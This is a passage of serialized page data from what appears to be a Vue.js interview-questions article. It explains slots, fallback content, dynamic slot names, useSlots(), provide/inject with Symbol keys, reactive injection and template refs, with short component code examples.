\u003C/ul>\n\u003C/template>\n",[18,9328,9329,9334,9342,9350,9372,9401,9409,9417],{"__ignoreMap":128},[132,9330,9331],{"class":134,"line":135},[132,9332,9333],{"class":397},"\u003C!-- UserList.vue -->\n",[132,9335,9336,9338,9340],{"class":134,"line":149},[132,9337,139],{"class":138},[132,9339,143],{"class":142},[132,9341,146],{"class":138},[132,9343,9344,9346,9348],{"class":134,"line":176},[132,9345,152],{"class":138},[132,9347,56],{"class":142},[132,9349,146],{"class":138},[132,9351,9352,9354,9356,9358,9360,9363,9365,9367,9370],{"class":134,"line":186},[132,9353,1489],{"class":138},[132,9355,59],{"class":142},[132,9357,1494],{"class":158},[132,9359,162],{"class":138},[132,9361,9362],{"class":165},"\"user in users\"",[132,9364,1502],{"class":158},[132,9366,162],{"class":138},[132,9368,9369],{"class":165},"\"user.id\"",[132,9371,146],{"class":138},[132,9373,9374,9377,9379,9382,9384,9387,9390,9392,9395,9397,9399],{"class":134,"line":193},[132,9375,9376],{"class":138},"            \u003C",[132,9378,9022],{"class":142},[132,9380,9381],{"class":158}," :user",[132,9383,162],{"class":138},[132,9385,9386],{"class":165},"\"user\"",[132,9388,9389],{"class":158}," :is-active",[132,9391,162],{"class":138},[132,9393,9394],{"class":165},"\"user.active\"",[132,9396,1767],{"class":138},[132,9398,9022],{"class":142},[132,9400,146],{"class":138},[132,9402,9403,9405,9407],{"class":134,"line":206},[132,9404,1519],{"class":138},[132,9406,59],{"class":142},[132,9408,146],{"class":138},[132,9410,9411,9413,9415],{"class":134,"line":222},[132,9412,1528],{"class":138},[132,9414,56],{"class":142},[132,9416,146],{"class":138},[132,9418,9419,9421,9423],{"class":134,"line":227},[132,9420,179],{"class":138},[132,9422,143],{"class":142},[132,9424,146],{"class":138},[123,9426,9428],{"className":125,"code":9427,"language":127,"meta":128,"style":128},"\u003C!-- usage -->\n\u003CUserList :users=\"users\">\n    \u003Ctemplate #default=\"{ user, isActive }\">\n        \u003Cspan :class=\"{ active: isActive }\">{{ user.name }}\u003C/span>\n    \u003C/template>\n\u003C/UserList>\n",[18,9429,9430,9434,9456,9461,9466,9470],{"__ignoreMap":128},[132,9431,9432],{"class":134,"line":135},[132,9433,9054],{"class":397},[132,9435,9436,9438,9441,9443,9446,9448,9450,9452,9454],{"class":134,"line":149},[132,9437,139],{"class":138},[132,9439,9440],{"class":142},"UserList",[132,9442,1611],{"class":138},[132,9444,9445],{"class":158},"users",[132,9447,162],{"class":138},[132,9449,1597],{"class":165},[132,9451,9445],{"class":138},[132,9453,1597],{"class":165},[132,9455,146],{"class":138},[132,9457,9458],{"class":134,"line":176},[132,9459,9460],{"class":138},"    \u003Ctemplate #default=\"{ user, isActive }\">\n",[132,9462,9463],{"class":134,"line":186},[132,9464,9465],{"class":138},"        \u003Cspan :class=\"{ active: isActive }\">{{ user.name }}\u003C/span>\n",[132,9467,9468],{"class":134,"line":193},[132,9469,9265],{"class":138},[132,9471,9472,9474,9476],{"class":134,"line":206},[132,9473,179],{"class":138},[132,9475,9440],{"class":142},[132,9477,146],{"class":138},[11,9479,9480,9481,9483,9484,9486],{},"This is powerful because ",[18,9482,9440],{}," can own the fetching, looping, and business logic, while the parent decides exactly how each user is displayed, without ",[18,9485,9440],{}," needing to know anything about presentation. It is the pattern behind flexible, reusable list, table, and dropdown components: the child provides data and behaviour, the parent provides markup.",[34,9488,9490],{"id":9489},"_66-how-do-you-provide-fallback-content-for-a-slot","66. How do you provide fallback content for a slot?",[11,9492,9493,9494,9496],{},"You put default content directly between the ",[18,9495,9102],{}," tags in the child component. If the parent does not supply anything for that slot, Vue renders the fallback; if the parent does supply content, it replaces the fallback entirely.",[123,9498,9500],{"className":125,"code":9499,"language":127,"meta":128,"style":128},"\u003C!-- Button.vue -->\n\u003Ctemplate>\n    \u003Cbutton>\n        \u003Cslot>Click me\u003C/slot>\n    \u003C/button>\n\u003C/template>\n",[18,9501,9502,9507,9515,9523,9536,9544],{"__ignoreMap":128},[132,9503,9504],{"class":134,"line":135},[132,9505,9506],{"class":397},"\u003C!-- Button.vue -->\n",[132,9508,9509,9511,9513],{"class":134,"line":149},[132,9510,139],{"class":138},[132,9512,143],{"class":142},[132,9514,146],{"class":138},[132,9516,9517,9519,9521],{"class":134,"line":176},[132,9518,152],{"class":138},[132,9520,155],{"class":142},[132,9522,146],{"class":138},[132,9524,9525,9527,9529,9532,9534],{"class":134,"line":186},[132,9526,1489],{"class":138},[132,9528,9022],{"class":142},[132,9530,9531],{"class":138},">Click me\u003C/",[132,9533,9022],{"class":142},[132,9535,146],{"class":138},[132,9537,9538,9540,9542],{"class":134,"line":193},[132,9539,1528],{"class":138},[132,9541,155],{"class":142},[132,9543,146],{"class":138},[132,9545,9546,9548,9550],{"class":134,"line":206},[132,9547,179],{"class":138},[132,9549,143],{"class":142},[132,9551,146],{"class":138},[123,9553,9555],{"className":125,"code":9554,"language":127,"meta":128,"style":128},"\u003CButton />\n\u003C!-- renders: \u003Cbutton>Click me\u003C/button> -->\n\n\u003CButton>Save\u003C/Button>\n\u003C!-- renders: \u003Cbutton>Save\u003C/button> -->\n",[18,9556,9557,9566,9571,9575,9587],{"__ignoreMap":128},[132,9558,9559,9561,9564],{"class":134,"line":135},[132,9560,139],{"class":138},[132,9562,9563],{"class":142},"Button",[132,9565,1287],{"class":138},[132,9567,9568],{"class":134,"line":149},[132,9569,9570],{"class":397},"\u003C!-- renders: \u003Cbutton>Click me\u003C/button> -->\n",[132,9572,9573],{"class":134,"line":176},[132,9574,190],{"emptyLinePlaceholder":189},[132,9576,9577,9579,9581,9583,9585],{"class":134,"line":186},[132,9578,139],{"class":138},[132,9580,9563],{"class":142},[132,9582,1303],{"class":138},[132,9584,9563],{"class":142},[132,9586,146],{"class":138},[132,9588,9589],{"class":134,"line":193},[132,9590,9591],{"class":397},"\u003C!-- renders: \u003Cbutton>Save\u003C/button> -->\n",[11,9593,9594],{},"This is handy for components that should work with sensible defaults out of the box (buttons, labels, empty states) but still remain fully customizable when the parent needs something different.",[34,9596,9598],{"id":9597},"_67-what-is-a-dynamic-slot-name","67. What is a dynamic slot name?",[11,9600,9601,9602,9605,9606,9608],{},"A dynamic slot name lets you choose which named slot to fill at runtime, using a JavaScript expression instead of a hardcoded name. You write it as ",[18,9603,9604],{},"#[expression]"," on a ",[18,9607,349],{}," tag.",[123,9610,9612],{"className":125,"code":9611,"language":127,"meta":128,"style":128},"\u003Ctemplate #[currentSlotName]>\n    \u003Cp>This fills whichever slot name is currently stored in currentSlotName.\u003C/p>\n\u003C/template>\n",[18,9613,9614,9623,9636],{"__ignoreMap":128},[132,9615,9616,9618,9620],{"class":134,"line":135},[132,9617,139],{"class":138},[132,9619,143],{"class":142},[132,9621,9622],{"class":138}," #[currentSlotName]>\n",[132,9624,9625,9627,9629,9632,9634],{"class":134,"line":149},[132,9626,152],{"class":138},[132,9628,11],{"class":142},[132,9630,9631],{"class":138},">This fills whichever slot name is currently stored in currentSlotName.\u003C/",[132,9633,11],{"class":142},[132,9635,146],{"class":138},[132,9637,9638,9640,9642],{"class":134,"line":176},[132,9639,179],{"class":138},[132,9641,143],{"class":142},[132,9643,146],{"class":138},[11,9645,9646,9647,9650],{},"This is useful for components that render a variable set of regions, such as a tabbed panel where each tab corresponds to a differently-named slot, or a table component where column slots are generated from a columns array. It follows the same rules as dynamic argument syntax used elsewhere in Vue templates, like ",[18,9648,9649],{},":[attrName]"," for dynamic prop binding.",[34,9652,9654,9655,4319,9658,9661,9662,4319,9664,9667],{"id":9653},"_68-what-is-the-difference-between-the-modern-v-slot-syntax-and-the-legacy-slotslot-scope-syntax","68. What is the difference between the modern ",[18,9656,9657],{},"v-slot",[18,9659,9660],{},"#"," syntax and the legacy ",[18,9663,9022],{},[18,9665,9666],{},"slot-scope"," syntax?",[11,9669,1543,9670,592,9672,9674,9675,9677,9678,9680,9681,9683],{},[18,9671,9022],{},[18,9673,9666],{}," attributes were the original Vue 2 way of targeting and reading data from a slot. They were deprecated in Vue 2.6 in favor of the unified ",[18,9676,9657],{}," directive, and removed entirely in Vue 3, so any codebase running Vue 3 must use ",[18,9679,9657],{}," (or its ",[18,9682,9660],{}," shorthand).",[11,9685,9686],{},"Old syntax (no longer valid in Vue 3):",[123,9688,9690],{"className":125,"code":9689,"language":127,"meta":128,"style":128},"\u003Ctemplate slot=\"header\" slot-scope=\"props\">\n    {{ props.title }}\n\u003C/template>\n",[18,9691,9692,9715,9720],{"__ignoreMap":128},[132,9693,9694,9696,9698,9701,9703,9705,9708,9710,9713],{"class":134,"line":135},[132,9695,139],{"class":138},[132,9697,143],{"class":142},[132,9699,9700],{"class":158}," slot",[132,9702,162],{"class":138},[132,9704,9166],{"class":165},[132,9706,9707],{"class":158}," slot-scope",[132,9709,162],{"class":138},[132,9711,9712],{"class":165},"\"props\"",[132,9714,146],{"class":138},[132,9716,9717],{"class":134,"line":149},[132,9718,9719],{"class":138},"    {{ props.title }}\n",[132,9721,9722,9724,9726],{"class":134,"line":176},[132,9723,179],{"class":138},[132,9725,143],{"class":142},[132,9727,146],{"class":138},[11,9729,9730],{},"Current syntax:",[123,9732,9734],{"className":125,"code":9733,"language":127,"meta":128,"style":128},"\u003Ctemplate #header=\"props\">\n    {{ props.title }}\n\u003C/template>\n",[18,9735,9736,9757,9761],{"__ignoreMap":128},[132,9737,9738,9740,9742,9745,9747,9749,9751,9753,9755],{"class":134,"line":135},[132,9739,139],{"class":138},[132,9741,143],{"class":142},[132,9743,9744],{"class":138}," #",[132,9746,8265],{"class":158},[132,9748,162],{"class":138},[132,9750,1597],{"class":165},[132,9752,4310],{"class":138},[132,9754,1597],{"class":165},[132,9756,146],{"class":138},[132,9758,9759],{"class":134,"line":149},[132,9760,9719],{"class":138},[132,9762,9763,9765,9767],{"class":134,"line":176},[132,9764,179],{"class":138},[132,9766,143],{"class":142},[132,9768,146],{"class":138},[11,9770,9771,9772,9774,9775,8051,9777,9779,9780,9782,9783,4319,9785,9787,9788,9790],{},"The old approach needed two separate attributes, one for the slot name and one for scoped data, and it was easy to misuse since ",[18,9773,9666],{}," could technically be placed on a plain element rather than a ",[18,9776,349],{},[18,9778,9657],{}," merges both concerns into a single directive that only works on ",[18,9781,349],{}," (or the component tag itself for the default slot), which is clearer and less error prone. If you are reading a Vue 2 tutorial or maintaining an older codebase, recognizing ",[18,9784,9022],{},[18,9786,9666],{}," as the legacy equivalent of ",[18,9789,9657],{}," is mostly what you need; in new Vue 3 code you should never write it.",[34,9792,9794],{"id":9793},"_69-when-would-you-choose-a-slot-over-a-prop-for-passing-content-into-a-component","69. When would you choose a slot over a prop for passing content into a component?",[11,9796,9797],{},"Use a prop when you are passing a simple value: a string, number, boolean, or a plain object of data. Use a slot when you are passing markup, structure, or something that needs to stay reactive to the DOM, such as icons, custom formatting, nested components, or entire sections of layout.",[11,9799,9800,9801,9804,9805,9808,9809,9812],{},"A quick rule of thumb: if what you are passing could reasonably be typed and validated (a title string, a count, a flag), it is a prop. If what you are passing is \"arbitrary content that only the parent knows how to render,\" it is a slot. For example, a ",[18,9802,9803],{},"Modal"," component takes a ",[18,9806,9807],{},"title"," prop for its heading text, but takes its body as a default slot, since the body's content is entirely up to whoever uses the modal. Mixing them up leads to awkward code, like passing raw HTML strings through a prop and rendering them with ",[18,9810,9811],{},"v-html",", which loses reactivity on nested components and opens the door to XSS if that content is ever user supplied.",[34,9814,9816,9817,9820,9821,1349],{"id":9815},"_70-what-does-useslots-do-and-when-would-you-use-it-in-script-setup","70. What does ",[18,9818,9819],{},"useSlots()"," do, and when would you use it in ",[18,9822,20],{},[11,9824,9825,9827,9828,9830,9831,9834,9835,9837],{},[18,9826,9819],{}," is a Composition API function that gives you programmatic access to a component's slots inside ",[18,9829,20],{},", returning the same slots object that ",[18,9832,9833],{},"this.$slots"," exposes in the Options API. You would not need it to simply render a slot in the template (",[18,9836,9094],{}," handles that on its own), but you need it when you have to inspect slots from script logic.",[123,9839,9841],{"className":125,"code":9840,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { useSlots, computed } from 'vue'\n\nconst slots = useSlots()\n\nconst hasFooter = computed(() => !!slots.footer)\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cdiv>\n        \u003Cslot>\u003C/slot>\n        \u003Cfooter v-if=\"hasFooter\">\n            \u003Cslot name=\"footer\">\u003C/slot>\n        \u003C/footer>\n    \u003C/div>\n\u003C/template>\n",[18,9842,9843,9853,9864,9868,9882,9886,9907,9915,9919,9927,9935,9947,9962,9980,9988,9996],{"__ignoreMap":128},[132,9844,9845,9847,9849,9851],{"class":134,"line":135},[132,9846,139],{"class":138},[132,9848,198],{"class":142},[132,9850,201],{"class":158},[132,9852,146],{"class":138},[132,9854,9855,9857,9860,9862],{"class":134,"line":149},[132,9856,210],{"class":209},[132,9858,9859],{"class":138}," { useSlots, computed } ",[132,9861,216],{"class":209},[132,9863,219],{"class":165},[132,9865,9866],{"class":134,"line":176},[132,9867,190],{"emptyLinePlaceholder":189},[132,9869,9870,9872,9875,9877,9880],{"class":134,"line":186},[132,9871,230],{"class":209},[132,9873,9874],{"class":233}," slots",[132,9876,237],{"class":209},[132,9878,9879],{"class":158}," useSlots",[132,9881,4951],{"class":138},[132,9883,9884],{"class":134,"line":193},[132,9885,190],{"emptyLinePlaceholder":189},[132,9887,9888,9890,9893,9895,9897,9899,9901,9904],{"class":134,"line":206},[132,9889,230],{"class":209},[132,9891,9892],{"class":233}," hasFooter",[132,9894,237],{"class":209},[132,9896,2656],{"class":158},[132,9898,2659],{"class":138},[132,9900,2662],{"class":209},[132,9902,9903],{"class":209}," !!",[132,9905,9906],{"class":138},"slots.footer)\n",[132,9908,9909,9911,9913],{"class":134,"line":222},[132,9910,179],{"class":138},[132,9912,198],{"class":142},[132,9914,146],{"class":138},[132,9916,9917],{"class":134,"line":227},[132,9918,190],{"emptyLinePlaceholder":189},[132,9920,9921,9923,9925],{"class":134,"line":252},[132,9922,139],{"class":138},[132,9924,143],{"class":142},[132,9926,146],{"class":138},[132,9928,9929,9931,9933],{"class":134,"line":257},[132,9930,152],{"class":138},[132,9932,1385],{"class":142},[132,9934,146],{"class":138},[132,9936,9937,9939,9941,9943,9945],{"class":134,"line":269},[132,9938,1489],{"class":138},[132,9940,9022],{"class":142},[132,9942,1767],{"class":138},[132,9944,9022],{"class":142},[132,9946,146],{"class":138},[132,9948,9949,9951,9953,9955,9957,9960],{"class":134,"line":278},[132,9950,1489],{"class":138},[132,9952,9203],{"class":142},[132,9954,1388],{"class":158},[132,9956,162],{"class":138},[132,9958,9959],{"class":165},"\"hasFooter\"",[132,9961,146],{"class":138},[132,9963,9964,9966,9968,9970,9972,9974,9976,9978],{"class":134,"line":284},[132,9965,9376],{"class":138},[132,9967,9022],{"class":142},[132,9969,9161],{"class":158},[132,9971,162],{"class":138},[132,9973,9214],{"class":165},[132,9975,1767],{"class":138},[132,9977,9022],{"class":142},[132,9979,146],{"class":138},[132,9981,9982,9984,9986],{"class":134,"line":293},[132,9983,1519],{"class":138},[132,9985,9203],{"class":142},[132,9987,146],{"class":138},[132,9989,9990,9992,9994],{"class":134,"line":298},[132,9991,1528],{"class":138},[132,9993,1385],{"class":142},[132,9995,146],{"class":138},[132,9997,9998,10000,10002],{"class":134,"line":311},[132,9999,179],{"class":138},[132,10001,143],{"class":142},[132,10003,146],{"class":138},[11,10005,10006,10007,10010,10011,592,10013,10016,10017,10019],{},"Common cases: conditionally rendering a wrapper element only if a particular slot was passed, or writing a render function/component library helper that needs to loop over ",[18,10008,10009],{},"slots"," manually. For everyday templates, plain ",[18,10012,9102],{},[18,10014,10015],{},"v-if=\"$slots.footer\""," cover most needs; ",[18,10018,9819],{}," matters most when you are working from script logic rather than the template.",[29,10021,10023],{"id":10022},"provideinject-and-component-communication","Provide/Inject and Component Communication",[34,10025,10027,10028,4319,10031,10034],{"id":10026},"_71-what-is-provideinject-and-what-problem-does-it-solve","71. What is ",[18,10029,10030],{},"provide",[18,10032,10033],{},"inject",", and what problem does it solve?",[11,10036,10037,592,10039,10041],{},[18,10038,10030],{},[18,10040,10033],{}," let an ancestor component make a value available to any descendant, no matter how deeply nested, without passing it down manually through every component in between. That manual passing-down problem is often called \"prop drilling\": if a deeply nested component needs a value from a distant ancestor, every intermediate component has to accept and re-pass a prop it does not actually use itself.",[11,10043,10044,10045,10048,10049,10052],{},"An ancestor calls ",[18,10046,10047],{},"provide(key, value)",", and any descendant calls ",[18,10050,10051],{},"inject(key)"," to read it, regardless of how many layers sit between them.",[123,10054,10056],{"className":125,"code":10055,"language":127,"meta":128,"style":128},"\u003C!-- App.vue -->\n\u003Cscript setup>\nimport { provide, ref } from 'vue'\n\nconst theme = ref('dark')\nprovide('theme', theme)\n\u003C/script>\n",[18,10057,10058,10063,10073,10084,10088,10105,10117],{"__ignoreMap":128},[132,10059,10060],{"class":134,"line":135},[132,10061,10062],{"class":397},"\u003C!-- App.vue -->\n",[132,10064,10065,10067,10069,10071],{"class":134,"line":149},[132,10066,139],{"class":138},[132,10068,198],{"class":142},[132,10070,201],{"class":158},[132,10072,146],{"class":138},[132,10074,10075,10077,10080,10082],{"class":134,"line":176},[132,10076,210],{"class":209},[132,10078,10079],{"class":138}," { provide, ref } ",[132,10081,216],{"class":209},[132,10083,219],{"class":165},[132,10085,10086],{"class":134,"line":186},[132,10087,190],{"emptyLinePlaceholder":189},[132,10089,10090,10092,10095,10097,10099,10101,10103],{"class":134,"line":193},[132,10091,230],{"class":209},[132,10093,10094],{"class":233}," theme",[132,10096,237],{"class":209},[132,10098,240],{"class":158},[132,10100,243],{"class":138},[132,10102,6197],{"class":165},[132,10104,249],{"class":138},[132,10106,10107,10109,10111,10114],{"class":134,"line":206},[132,10108,10030],{"class":158},[132,10110,243],{"class":138},[132,10112,10113],{"class":165},"'theme'",[132,10115,10116],{"class":138},", theme)\n",[132,10118,10119,10121,10123],{"class":134,"line":222},[132,10120,179],{"class":138},[132,10122,198],{"class":142},[132,10124,146],{"class":138},[123,10126,10128],{"className":125,"code":10127,"language":127,"meta":128,"style":128},"\u003C!-- DeeplyNestedButton.vue -->\n\u003Cscript setup>\nimport { inject } from 'vue'\n\nconst theme = inject('theme')\n\u003C/script>\n",[18,10129,10130,10135,10145,10156,10160,10177],{"__ignoreMap":128},[132,10131,10132],{"class":134,"line":135},[132,10133,10134],{"class":397},"\u003C!-- DeeplyNestedButton.vue -->\n",[132,10136,10137,10139,10141,10143],{"class":134,"line":149},[132,10138,139],{"class":138},[132,10140,198],{"class":142},[132,10142,201],{"class":158},[132,10144,146],{"class":138},[132,10146,10147,10149,10152,10154],{"class":134,"line":176},[132,10148,210],{"class":209},[132,10150,10151],{"class":138}," { inject } ",[132,10153,216],{"class":209},[132,10155,219],{"class":165},[132,10157,10158],{"class":134,"line":186},[132,10159,190],{"emptyLinePlaceholder":189},[132,10161,10162,10164,10166,10168,10171,10173,10175],{"class":134,"line":193},[132,10163,230],{"class":209},[132,10165,10094],{"class":233},[132,10167,237],{"class":209},[132,10169,10170],{"class":158}," inject",[132,10172,243],{"class":138},[132,10174,10113],{"class":165},[132,10176,249],{"class":138},[132,10178,10179,10181,10183],{"class":134,"line":206},[132,10180,179],{"class":138},[132,10182,198],{"class":142},[132,10184,146],{"class":138},[11,10186,10187],{},"It is commonly used for things like theming, current user/auth state, or app-wide configuration that many unrelated components need to read. It is not meant to replace props for normal parent-to-child data flow, and it is not a substitute for a proper state management library when the shared state needs complex mutation logic across many independent branches of the tree; for that, most teams reach for Pinia instead.",[34,10189,10191,10192,10195],{"id":10190},"_72-why-is-it-a-good-idea-to-use-a-symbol-as-a-provideinject-key-in-larger-applications","72. Why is it a good idea to use a ",[18,10193,10194],{},"Symbol"," as a provide/inject key in larger applications?",[11,10197,10198,4319,10200,10202,10203,10206,10207,10209],{},[18,10199,10030],{},[18,10201,10033],{}," keys can be plain strings, but strings can collide: if two unrelated parts of a large codebase (or two different libraries) both ",[18,10204,10205],{},"provide('config', ...)",", the second one silently overwrites the first for anything injecting below it, and there is no error to warn you. A ",[18,10208,10194],{}," is guaranteed unique, so two Symbols created separately can never accidentally match, even if they have the same description text.",[123,10211,10213],{"className":388,"code":10212,"language":390,"meta":128,"style":128},"// keys.js\nexport const themeKey = Symbol('theme')\n",[18,10214,10215,10220],{"__ignoreMap":128},[132,10216,10217],{"class":134,"line":135},[132,10218,10219],{"class":397},"// keys.js\n",[132,10221,10222,10224,10227,10230,10232,10235,10237,10239],{"class":134,"line":149},[132,10223,807],{"class":209},[132,10225,10226],{"class":209}," const",[132,10228,10229],{"class":233}," themeKey",[132,10231,237],{"class":209},[132,10233,10234],{"class":158}," Symbol",[132,10236,243],{"class":138},[132,10238,10113],{"class":165},[132,10240,249],{"class":138},[123,10242,10244],{"className":388,"code":10243,"language":390,"meta":128,"style":128},"// providing component\nimport { provide } from 'vue'\nimport { themeKey } from './keys'\n\nprovide(themeKey, theme)\n",[18,10245,10246,10251,10262,10274,10278],{"__ignoreMap":128},[132,10247,10248],{"class":134,"line":135},[132,10249,10250],{"class":397},"// providing component\n",[132,10252,10253,10255,10258,10260],{"class":134,"line":149},[132,10254,210],{"class":209},[132,10256,10257],{"class":138}," { provide } ",[132,10259,216],{"class":209},[132,10261,219],{"class":165},[132,10263,10264,10266,10269,10271],{"class":134,"line":176},[132,10265,210],{"class":209},[132,10267,10268],{"class":138}," { themeKey } ",[132,10270,216],{"class":209},[132,10272,10273],{"class":165}," './keys'\n",[132,10275,10276],{"class":134,"line":186},[132,10277,190],{"emptyLinePlaceholder":189},[132,10279,10280,10282],{"class":134,"line":193},[132,10281,10030],{"class":158},[132,10283,10284],{"class":138},"(themeKey, theme)\n",[123,10286,10288],{"className":388,"code":10287,"language":390,"meta":128,"style":128},"// injecting component\nimport { inject } from 'vue'\nimport { themeKey } from './keys'\n\nconst theme = inject(themeKey)\n",[18,10289,10290,10295,10305,10315,10319],{"__ignoreMap":128},[132,10291,10292],{"class":134,"line":135},[132,10293,10294],{"class":397},"// injecting component\n",[132,10296,10297,10299,10301,10303],{"class":134,"line":149},[132,10298,210],{"class":209},[132,10300,10151],{"class":138},[132,10302,216],{"class":209},[132,10304,219],{"class":165},[132,10306,10307,10309,10311,10313],{"class":134,"line":176},[132,10308,210],{"class":209},[132,10310,10268],{"class":138},[132,10312,216],{"class":209},[132,10314,10273],{"class":165},[132,10316,10317],{"class":134,"line":186},[132,10318,190],{"emptyLinePlaceholder":189},[132,10320,10321,10323,10325,10327,10329],{"class":134,"line":193},[132,10322,230],{"class":209},[132,10324,10094],{"class":233},[132,10326,237],{"class":209},[132,10328,10170],{"class":158},[132,10330,10331],{"class":138},"(themeKey)\n",[11,10333,10334,10335,10338,10339,10342,10343,385],{},"Beyond avoiding naming collisions, centralizing keys in a shared module also gives you a single source of truth to import from, and in TypeScript you can type a Symbol key with ",[18,10336,10337],{},"InjectionKey\u003CT>"," so ",[18,10340,10341],{},"inject()"," automatically infers the correct return type instead of coming back as ",[18,10344,10345],{},"unknown",[34,10347,10349],{"id":10348},"_73-how-do-you-keep-an-injected-value-reactive","73. How do you keep an injected value reactive?",[11,10351,10352,10353,10355,10356,10358,10359,10362],{},"An injected value stays reactive only if what you provided was itself reactive, a ",[18,10354,1004],{}," or a ",[18,10357,3999],{}," object, not a plain destructured value. If you provide a raw value pulled out of a ref (like ",[18,10360,10361],{},"provide('count', count.value)","), you are handing over a frozen snapshot; the injecting component will never see later updates.",[123,10364,10366],{"className":125,"code":10365,"language":127,"meta":128,"style":128},"\u003C!-- provider -->\n\u003Cscript setup>\nimport { provide, ref } from 'vue'\n\nconst count = ref(0)\nprovide('count', count)   // provide the ref itself, not count.value\n\u003C/script>\n",[18,10367,10368,10373,10383,10393,10397,10413,10427],{"__ignoreMap":128},[132,10369,10370],{"class":134,"line":135},[132,10371,10372],{"class":397},"\u003C!-- provider -->\n",[132,10374,10375,10377,10379,10381],{"class":134,"line":149},[132,10376,139],{"class":138},[132,10378,198],{"class":142},[132,10380,201],{"class":158},[132,10382,146],{"class":138},[132,10384,10385,10387,10389,10391],{"class":134,"line":176},[132,10386,210],{"class":209},[132,10388,10079],{"class":138},[132,10390,216],{"class":209},[132,10392,219],{"class":165},[132,10394,10395],{"class":134,"line":186},[132,10396,190],{"emptyLinePlaceholder":189},[132,10398,10399,10401,10403,10405,10407,10409,10411],{"class":134,"line":193},[132,10400,230],{"class":209},[132,10402,234],{"class":233},[132,10404,237],{"class":209},[132,10406,240],{"class":158},[132,10408,243],{"class":138},[132,10410,246],{"class":233},[132,10412,249],{"class":138},[132,10414,10415,10417,10419,10421,10424],{"class":134,"line":206},[132,10416,10030],{"class":158},[132,10418,243],{"class":138},[132,10420,4084],{"class":165},[132,10422,10423],{"class":138},", count)   ",[132,10425,10426],{"class":397},"// provide the ref itself, not count.value\n",[132,10428,10429,10431,10433],{"class":134,"line":222},[132,10430,179],{"class":138},[132,10432,198],{"class":142},[132,10434,146],{"class":138},[123,10436,10438],{"className":125,"code":10437,"language":127,"meta":128,"style":128},"\u003C!-- consumer -->\n\u003Cscript setup>\nimport { inject } from 'vue'\n\nconst count = inject('count')   // still a ref, stays reactive\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cp>{{ count }}\u003C/p>\n\u003C/template>\n",[18,10439,10440,10445,10455,10465,10469,10489,10497,10501,10509,10521],{"__ignoreMap":128},[132,10441,10442],{"class":134,"line":135},[132,10443,10444],{"class":397},"\u003C!-- consumer -->\n",[132,10446,10447,10449,10451,10453],{"class":134,"line":149},[132,10448,139],{"class":138},[132,10450,198],{"class":142},[132,10452,201],{"class":158},[132,10454,146],{"class":138},[132,10456,10457,10459,10461,10463],{"class":134,"line":176},[132,10458,210],{"class":209},[132,10460,10151],{"class":138},[132,10462,216],{"class":209},[132,10464,219],{"class":165},[132,10466,10467],{"class":134,"line":186},[132,10468,190],{"emptyLinePlaceholder":189},[132,10470,10471,10473,10475,10477,10479,10481,10483,10486],{"class":134,"line":193},[132,10472,230],{"class":209},[132,10474,234],{"class":233},[132,10476,237],{"class":209},[132,10478,10170],{"class":158},[132,10480,243],{"class":138},[132,10482,4084],{"class":165},[132,10484,10485],{"class":138},")   ",[132,10487,10488],{"class":397},"// still a ref, stays reactive\n",[132,10490,10491,10493,10495],{"class":134,"line":206},[132,10492,179],{"class":138},[132,10494,198],{"class":142},[132,10496,146],{"class":138},[132,10498,10499],{"class":134,"line":222},[132,10500,190],{"emptyLinePlaceholder":189},[132,10502,10503,10505,10507],{"class":134,"line":227},[132,10504,139],{"class":138},[132,10506,143],{"class":142},[132,10508,146],{"class":138},[132,10510,10511,10513,10515,10517,10519],{"class":134,"line":252},[132,10512,152],{"class":138},[132,10514,11],{"class":142},[132,10516,3498],{"class":138},[132,10518,11],{"class":142},[132,10520,146],{"class":138},[132,10522,10523,10525,10527],{"class":134,"line":257},[132,10524,179],{"class":138},[132,10526,143],{"class":142},[132,10528,146],{"class":138},[11,10530,10531,10532,10534,10535,10538],{},"If you want the provider to control mutations and keep the injected value read-only for consumers, wrap it with ",[18,10533,4138],{}," before providing it, and provide an accompanying function (like ",[18,10536,10537],{},"setCount",") for consumers to request changes. This keeps state changes centralized in the provider instead of letting any descendant mutate shared state directly.",[34,10540,10542],{"id":10541},"_74-what-are-the-different-ways-components-can-communicate-with-each-other-in-vue","74. What are the different ways components can communicate with each other in Vue?",[11,10544,10545],{},"The right mechanism depends on the relationship between the two components:",[11,10547,10548],{},[1268,10549],{"alt":10550,"src":10551},"Vue component communication diagram","/post-images/top-150-vuejs-interview-questions/vue-component-communication-diagram.png",[479,10553,10554,10564],{},[482,10555,10556],{},[485,10557,10558,10561],{},[488,10559,10560],{},"Relationship",[488,10562,10563],{},"Mechanism",[498,10565,10566,10574,10584,10594,10605,10615,10623],{},[485,10567,10568,10571],{},[503,10569,10570],{},"Parent to child",[503,10572,10573],{},"Props",[485,10575,10576,10579],{},[503,10577,10578],{},"Child to parent",[503,10580,10581,10582,3335],{},"Custom events (",[18,10583,7080],{},[485,10585,10586,10589],{},[503,10587,10588],{},"Two-way binding",[503,10590,10591,10593],{},[18,10592,2182],{}," (sugar over a prop + an update event)",[485,10595,10596,10599],{},[503,10597,10598],{},"Ancestor to any descendant",[503,10600,10601,6827,10603],{},[18,10602,10030],{},[18,10604,10033],{},[485,10606,10607,10610],{},[503,10608,10609],{},"Parent reading child internals",[503,10611,10612,10613],{},"Template refs + ",[18,10614,8363],{},[485,10616,10617,10620],{},[503,10618,10619],{},"Sibling or unrelated components",[503,10621,10622],{},"Shared state (Pinia/Vuex), or a shared reactive object/composable",[485,10624,10625,10628],{},[503,10626,10627],{},"Passing markup, not data",[503,10629,10630],{},"Slots",[11,10632,10633,10634,4319,10636,10638],{},"Props and events cover the vast majority of everyday communication, and Vue nudges you toward \"props down, events up\" as the default pattern because it keeps data flow predictable and easy to trace. ",[18,10635,10030],{},[18,10637,10033],{}," and refs handle less common cases (deep nesting, imperative access), while a shared store like Pinia is the usual answer once two components that are not directly related need to read or write the same state.",[34,10640,10642],{"id":10641},"_75-what-is-a-template-ref-and-how-do-you-call-a-method-exposed-by-a-child-component-from-its-parent","75. What is a template ref, and how do you call a method exposed by a child component from its parent?",[11,10644,10645,10646,10649,10650,1556,10652,10654],{},"A template ref is a way to get a direct reference to a DOM element or a child component instance from your script code, by putting ",[18,10647,10648],{},"ref=\"someName\""," on a template tag and declaring a matching ",[18,10651,3079],{},[18,10653,20],{}," with the same name.",[123,10656,10658],{"className":125,"code":10657,"language":127,"meta":128,"style":128},"\u003C!-- Child.vue -->\n\u003Cscript setup>\nfunction focusInput() {\n    console.log('child method called')\n}\n\ndefineExpose({ focusInput 